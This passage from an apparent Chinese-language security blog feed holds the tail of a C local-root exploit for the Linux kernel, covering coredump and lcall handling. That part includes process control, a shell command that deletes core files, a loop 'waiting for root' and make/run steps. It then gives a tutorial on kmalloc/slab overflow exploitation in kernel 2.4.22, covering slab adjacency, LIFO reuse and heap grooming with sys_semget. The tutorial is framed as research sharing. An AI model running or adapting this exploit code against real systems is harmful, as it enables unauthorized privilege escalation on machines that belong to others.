&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (!check_coredump(mcd_pid))
{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;write(pipe_lcall[1], "pause", 6);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;system("rm
-rf core.*");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;if (fix_lcall() == -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
<br>
&nbsp;&nbsp; &nbsp;if ((copy_pid = fork()) == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;char *p[] = {"lcall", 0};<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;execve("lcall", p, 0);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;while (1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;printf("panic ...\n");<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;write(pipe_lcall[1], "start", 6);<br>
&nbsp;&nbsp; &nbsp;sleep(1);<br>
&nbsp;&nbsp; &nbsp;kill(copy_pid, SIGSTOP);<br>
&nbsp;&nbsp; &nbsp;printf("please press &lt;enter&gt; to start
...\n");<br>
&nbsp;&nbsp; &nbsp;getchar();<br>
&nbsp;&nbsp; &nbsp;printf("exploiting, wait a moment ...\n");<br>
<br>
&nbsp;&nbsp; &nbsp;char ofcmd[16];<br>
&nbsp;&nbsp; &nbsp;sprintf(ofcmd, "start%d\0",
lcall_pid);&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;write(pipe_of[1], ofcmd, strlen(ofcmd)+1);<br>
<br>
&nbsp;&nbsp; &nbsp;FILE *fp;<br>
&nbsp;&nbsp; &nbsp;char buf[256];<br>
&nbsp;&nbsp; &nbsp;while(1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;printf("******** in parent,
waiting for root\n");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fp =
fopen("/proc/interrupts","r");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;while (!feof(fp)) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fgets(buf,
sizeof(buf), fp);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;printf(buf);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;fclose(fp);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;for(i = 0; i &lt; 2000000000;
i++);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;if (pipe_lcall[0] != -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_lcall[0]);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_lcall[1]);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe_mcd[0] != -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_mcd[0]);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_mcd[1]);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;if (pipe_of[1] != -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_of[0]);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(pipe_of[1]);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;return 1;<br>
}<br>
__EOF__<br>
<br>
<br>
make kexp_coredump<br>
make overflow<br>
make mkbadelf<br>
gcc mklcall.c -o mklcall -O2<br>
./mkbadelf<br>
./mklcall<br>
./kexp_coredump
]]></description><guid>http://www.i170.com/Article/27521</guid><trackback:ping>http://www.i170.com/Article/27521/trackback</trackback:ping><comments>http://www.i170.com/Article/27521#comment</comments><wfw:commentRss>http://www.i170.com/Article/27521/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/23382</link><title><![CDATA[Linux内核溢出研究系列(2) - kmalloc溢出技术]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Fri, 28 Apr 2006 16:09:00  +0800</pubDate><description><![CDATA[Linux内核溢出研究系列(2) - kmalloc溢出技术<br>
<br>
作者：grip2 &lt;gript2@hotmail.com&gt;<br>
日期：2006-04-12<br>
<br>
内容：<br>
&nbsp;&nbsp; &nbsp;1 -- 介绍<br>
&nbsp;&nbsp; &nbsp;2 -- kmalloc/slab简介<br>
&nbsp;&nbsp; &nbsp;3 -- kmalloc/slab的关键特性<br>
&nbsp;&nbsp; &nbsp;4 -- kmalloc exploit<br>
&nbsp;&nbsp; &nbsp;5 -- 更进一步<br>
&nbsp;&nbsp; &nbsp;6 -- 最后<br>
&nbsp;&nbsp; &nbsp;7 -- 参考资料<br>
&nbsp;&nbsp; &nbsp;8 -- 附录 (kexp-msfilter.c)<br>
<br>
一、** 介绍<br>
<br>
&nbsp;&nbsp;&nbsp;
关注isec很长时间了，一直对他们在Linux内核方面的技术研究成果很佩服，同时自己也一直<br>
在跟踪和分析这方面的技术，但是由于时间及精力所限一直没能更深入一步进行系统的研究和总<br>
结。这一段恰好有些时间，和airsupply一起在内核溢出方面进行了一些研究，也写出了几个<br>
isec公布的漏洞的利用代码。为了能对我们的阶段性的工作有所归纳和总结，我们开始着手去写<br>
《linux内核溢出研究》系列的paper。写这个文档的一个目的也是为了与国内对这方面有兴趣的<br>
朋友共享我们的经验，促进我们在内核安全方面的研究和交流。<br>
<br>
&nbsp; 阅读这面文档需要你具有一些Linux内核方面的知识，同时要能读懂一点C和汇编代码。文章里<br>
提到的技术和代码是基于x86架构的Linux kernel-2.4.22的，在其它的系统环境中也许有所不同。<br>
<p class="partingline">[separator]</p>
<br>
二、** kmalloc/slab<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;
这部分只是非常简单的介绍一下kmalloc，如果你知道kmalloc和slab是什么，那跳过这部分。<br>
对于kmalloc exploit有用的特性，我们在这里并未描述。<br>
<br>
&nbsp;&nbsp;&nbsp;
slab是一种缓冲区分配和管理的方法，Linux内核也采用了这种方法，并进行了改进。Linux内核<br>
使用slab机制进行管理的缓冲区(caches)有两种，一种是专用缓冲区，另一种是通用缓冲区。通用缓<br>
冲区的分配是通过调用kmalloc函数来完成的，在内核里被广泛使用，在这里我们只关注它。<br>
<br>
我们来看kmalloc函数代码：<br>
<br>
void * kmalloc (size_t size, int flags)<br>
{<br>
&nbsp;&nbsp; &nbsp;cache_sizes_t *csizep = cache_sizes;&nbsp;&nbsp;
&nbsp;&lt;--- A<br>
<br>
&nbsp;&nbsp; &nbsp;for (; csizep-&gt;cs_size; csizep++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (size &gt;
csizep-&gt;cs_size)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;continue;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;return
__kmem_cache_alloc(flags &amp; GFP_DMA ?&nbsp;&nbsp; &nbsp;&lt;---
B<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;
csizep-&gt;cs_dmacachep : csizep-&gt;cs_cachep, flags);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;return NULL;<br>
}<br>
<br>
A处指向的cache_sizes是一个用来描述通用缓冲池的数据结构，其中根据不同的缓冲区的大小分成<br>
若干队列。它是一个cache_sizes_t类型的数组，数组中的每一个元素描述一个特定尺寸对象的缓冲区，<br>
对于每个尺寸的对象分别对应两个slab队列，一个是用于DMA用途分配，另一个则用于非DMA用途分配。<br>
下面是cache_sizes的定义：<br>
<br>
/* Size description struct for general caches. */<br>
typedef struct cache_sizes {<br>
&nbsp;&nbsp; &nbsp;size_t&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;
cs_size;<br>
&nbsp;&nbsp; &nbsp;kmem_cache_t&nbsp;&nbsp; &nbsp;*cs_cachep;<br>
&nbsp;&nbsp; &nbsp;kmem_cache_t&nbsp;&nbsp;
&nbsp;*cs_dmacachep;<br>
} cache_sizes_t;<br>
<br>
static cache_sizes_t cache_sizes[] = {<br>
#if PAGE_SIZE == 4096<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp;&nbsp; 32,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
#endif<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp;&nbsp; 64,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp; 128,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp; 256,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp; 512,&nbsp;&nbsp; &nbsp;NULL,
NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 1024,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 2048,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 4096,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp; 8192,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{ 16384,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{ 32768,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{ 65536,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{131072,&nbsp;&nbsp; &nbsp;NULL, NULL},<br>
&nbsp;&nbsp; &nbsp;{&nbsp;&nbsp;&nbsp;&nbsp; 0,&nbsp;&nbsp;
&nbsp;NULL, NULL}<br>
};<br>
<br>
kmalloc通过一个for循环语句来遍历这个数组中的元素，直到找到一个能够满足调用者指定的size大小的<br>
缓冲区描述，然后在B处根据调用者传入的标志来选择DMA或非DMA slab队列，再调用__kmem_cache_alloc<br>
在该队列中分配一个缓冲区并返回给调用者。<br>
<br>
三、** kmalloc/slab的关键特性<br>
<br>
为了能够利用kmalloc溢出漏洞，我们需要了解与kmalloc的三个关键特性(由于kmalloc是基于slab算法的，<br>
因此kmalloc的特性几乎完全由slab算法的实现决定8-)<br>
<br>
1、kmalloc/slab是基于伙伴算法的，一个slab块包含多个slab对象，它们是相邻的<br>
<br>
slab管理的对象的缓冲区队列是由一连串的slab块组成，而每个slab块内包含若干同种对象。换句话说，<br>
每个slab块内包含多个同种slab对象，对于kmalloc来说，就是在同一个slab块内存放了多个同样大小的<br>
slab对象，即在一个slab块内kmalloc可以分配的内存块是相邻的。<br>
<br>
这一点可以通过slab分配代码看出来。当现有slab队列中没有空闲的slab对象时，kmem_cache_grow函数将<br>
被调用。在kmem_cache_grow将会进一步调用kmem_getpages为slab缓冲区分配新的内存，<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;/* Get mem for the objs. */<br>
&nbsp;&nbsp; &nbsp;if (!(objp = kmem_getpages(cachep, flags)))<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
而在kmem_getpages函数里最终调用了__get_free_pages(即system's page
allocator，它使用了伙伴算法)，<br>
同时传入了cachep-&gt;gfporder指定分配的页面数量，注意gfporder是每个slab块占用的页面数，<br>
<br>
static inline void * kmem_getpages (kmem_cache_t *cachep, unsigned
long flags)<br>
{<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;flags |= cachep-&gt;gfpflags;<br>
&nbsp;&nbsp; &nbsp;addr = (void*) __get_free_pages(flags,
cachep-&gt;gfporder);<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;return addr;<br>
}<br>
<br>
2、kmalloc/slab的分配和释放使用的是LIFO队列<br>
<br>
这一点从代码很容易看出：<br>
<br>
kmalloc -&gt; __kmem_cache_alloc -&gt; skmem_cache_alloc_one -&gt;
kmem_cache_alloc_one_tail<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;slabp-&gt;inuse++;<br>
&nbsp;&nbsp; &nbsp;objp = slabp-&gt;s_mem +
slabp-&gt;free*cachep-&gt;objsize;<br>
&nbsp;&nbsp;
&nbsp;slabp-&gt;free=slab_bufctl(slabp)[slabp-&gt;free];<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
kfree -&gt; __kmem_cache_free -&gt; kmem_cache_free_one<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;unsigned int objnr =
(objp-slabp-&gt;s_mem)/cachep-&gt;objsize;<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slab_bufctl(slabp)[objnr] =
slabp-&gt;free;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slabp-&gt;free = objnr;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
3、kmalloc/slab分配的内存释放的时候，内容并没有被清除<br>
<br>
四、** kmalloc exploit<br>
<br>
我们来看一个例子：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp; -------------------------------------<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; ...&nbsp; | slab对象A | slab对象B
|&nbsp;&nbsp; ... &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; -------------------------------------<br>
<br>
假设上面是一个64字节通用缓冲区中的一个slab块，块中有多个slab对象，内核中有如下代码片段<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;char *buf = kmalloc(64);<br>
&nbsp;&nbsp; &nbsp;copy_from_user(buf, parm, 80);<br>
&nbsp;&nbsp; &nbsp;...<br>
<br>
当kmalloc时，slab对象A被分配给buf，当执行copy_from_user后，buf将被溢出。在slab块中，与对<br>
象A相邻的对象B将被溢出16个字节，如果此时对象B恰好被分配用于存放一个重要的数据结构，那么我<br>
们就有可能通过更改这个数据结构中的某个重要的变量值提升权限(通常某个函数指针是一个好的选择)！<br>
<br>
是不是看起来很容易？但是要注意了，要成功的利用上面这个例子的漏洞，我们还有几个问题需要解决：<br>
<br>
？如何才能使被溢出的slab对象和我们想要覆盖的目标数据结构所在的slab对象是相邻的？<br>
<br>
要做到这点，我们必需保证连续的两次对同一大小slab的申请能够得到相邻的两个slab对象。事实上，<br>
在真实的系统环境中这一点是很难保证的，因为在系统使用过程中，内核会经常的使用kmalloc分配<br>
内存，使用完成后又使用kfree释放，这样就使得slab算法维护的可分配slab对象表(partially and free
slabs list)<br>
中slab对象之间是没有任何位置关系的，也就是说这时我们连续两次申请得到的内存块，不但不能保<br>
证它们是相邻的，甚至不能保证它们位于同一个slab块内，这样我们的溢出将是完全不可控的。<br>
<br>
为了解决这个问题，在UNF的paper中提到了一个“经验”方法。这个方法就是：在他们的测试环境中，<br>
在将现有的slab消耗(不断的分配)到只剩下最后四个未被分配的slab对象时，对这最后四个slab对象<br>
的申请所得到的内存块地址将是连续的。<br>
<br>
在我的实际测试中，这个方法确实有一定的成功率，但是这个方法过于“经验”，对系统环境的依赖性<br>
很强，在实际环境中有时非常容易失败，进而导致系统崩溃。<br>
<br>
不过我们想到了一个改进的更好的方法。我们首先耗尽我们的溢出所关注的slab缓冲区中现有的所有slab<br>
对象，这时再有对这个slab缓冲区的分配请求的话，系统将创建一块新的slab块，然后从这个新的slab<br>
块中分配一个slab对象返回给申请者。我们来看看系统对新slab块中的slab对象是如何初始化的，<br>
<br>
static inline void kmem_cache_init_objs (kmem_cache_t * cachep,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slab_t *
slabp, unsigned long ctor_flags)<br>
{<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; cachep-&gt;num; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;void* objp =
slabp-&gt;s_mem+cachep-&gt;objsize*i;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;slab_bufctl(slabp)[i] =
i+1;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;slab_bufctl(slabp)[i-1] = BUFCTL_END;<br>
&nbsp;&nbsp; &nbsp;slabp-&gt;free = 0;<br>
}<br>
<br>
可以看到在for循环内，新的slab块将按照cachep-&gt;objsize将内存分成若干块，每块就是一个slab对象。<br>
对每一个新的slab对象都有一个slab_bufctl(slabp)[i] = i+1处理。这个语句的作用是把当前对象的<br>
下一个free对象设置为当前slab块内地址与其相邻的下一个对象。最后初始化函数将slab块的第一个free<br>
对象设置为0，即块中的第一个对象。到这里就不难看出，对于新分配的slab块，块内的free-slab表(实际<br>
上可以看做是一个LIFO队列)中的对象在内存上都是顺序的，这样我们再申请的slab分配得到的slab对象<br>
就都是相邻的。<br>
<br>
？如何才能保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了呢？<br>
<br>
虽然在处理上面的问题时，我们已经可以得到相邻的两个slab对象了，但是往往在第一个被溢出的slab<br>
分配后，在返回到应用程序之前溢出就已经发生了(看前面的例子)，而这时我们的第二个slab对象还没<br>
被申请，我们要覆盖的数据结构还没在内存中，这样我们的溢出就无法利用了。<br>
<br>
这时我们前面介绍的kmalloc的第二个特性就有用了。由于slab对内存的分配释放是使用LIFO队列，所以<br>
我们可以这样做：首先触发发一个个kalloc去分配与溢出目标尺寸的slab对象作为placeholder(占位)，<br>
然后再去触发目标数据结构所需的内存的kmalloc，这时slab块中的情景如下：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; ...&nbsp; | placeholder&nbsp;
|&nbsp;&nbsp; obj-struct&nbsp; |&nbsp; ... &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
<br>
然后我们释放掉placeholder，然后再触发被将溢出的slab对象的分配，由于slab对象的分配释放使用的是<br>
一个后入先出队列，所以将被溢出的slab对象就是刚被释放的placeholder。在溢出发生前，内存的情景如下：<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp; ...&nbsp; | overflow-obj |&nbsp;&nbsp;
obj-struct&nbsp; |&nbsp; ... &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;
------------------------------------------<br>
&nbsp;&nbsp; &nbsp;<br>
通过这个办法，就保证kmalloc溢出时目标数据结构已经在相邻的slab对象中了，这样我们就可以覆盖我们<br>
指定的数据结构。<br>
<br>
？我们如何在应用层做到上面提到的slab对象消耗和分配placeholder呢？<br>
<br>
有多个系统调用可以完成这个任务，几个用于IPC的系统调用都可以，但是UNF的paper中提到的sys_semget<br>
比较好，因为它分配的slab对象的尺寸是可控的。每次我们调用sys_semget创建信号量，内核都会使用<br>
kmalloc分配一块内存存放相关数据结构，而且这个数据结构一直存在，直到我们调用删除操作。<br>
<br>
sys_semget -&gt; newary<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;&nbsp; &nbsp;size = sizeof (*sma) + nsems * sizeof (struct
sem);<br>
&nbsp;&nbsp; &nbsp;sma = (struct sem_array *) ipc_alloc(size);<br>
&nbsp;&nbsp; &nbsp;...<br>
&nbsp;<br>
注意上面计算size的代码中的nsems是系统调用的参数，在应用层可以指定。这样我们就可以在任意尺寸的<br>
通用缓冲区中来完成slab对象的消耗和占位。<br>
<br>
？我们如何知道什么时候slab被耗尽了呢？从哪里可以看出系统当前还有多少active的slab对象呢？<br>
<br>
通过/proc/slabinfo可以得到系统kmalloc的slab信息<br>
<br>
grip2@debian:~$ cat /proc/slabinfo<br>
slabinfo - version: 1.1<br>
...<br>
size-131072(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 131072&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 32<br>
size-131072&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 131072&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 32<br>
size-65536(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 65536&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 16<br>
size-65536&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 65536&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 16<br>
size-32768(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 32768&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 8<br>
size-32768&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp; 32768&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 8<br>
size-16384(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp; 16384&nbsp;&nbsp;&nbsp;
1&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 4<br>
size-16384&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp; 16384&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; 4<br>
size-8192(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
8192&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
2<br>
size-8192&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
14&nbsp;&nbsp;&nbsp;&nbsp; 14&nbsp;&nbsp; 8192&nbsp;&nbsp;
14&nbsp;&nbsp; 14&nbsp;&nbsp;&nbsp; 2<br>
size-4096(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
4096&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1<br>
size-4096&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
30&nbsp;&nbsp;&nbsp;&nbsp; 32&nbsp;&nbsp; 4096&nbsp;&nbsp;
30&nbsp;&nbsp; 32&nbsp;&nbsp;&nbsp; 1<br>
size-2048(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
2048&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1<br>
size-2048&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
41&nbsp;&nbsp;&nbsp;&nbsp; 44&nbsp;&nbsp; 2048&nbsp;&nbsp;
22&nbsp;&nbsp; 22&nbsp;&nbsp;&nbsp; 1<br>
size-1024(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;
1024&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
1<br>
size-1024&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
30&nbsp;&nbsp;&nbsp;&nbsp; 36&nbsp;&nbsp; 1024&nbsp;&nbsp;&nbsp;
8&nbsp;&nbsp;&nbsp; 9&nbsp;&nbsp;&nbsp; 1<br>
size-512(DMA)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;
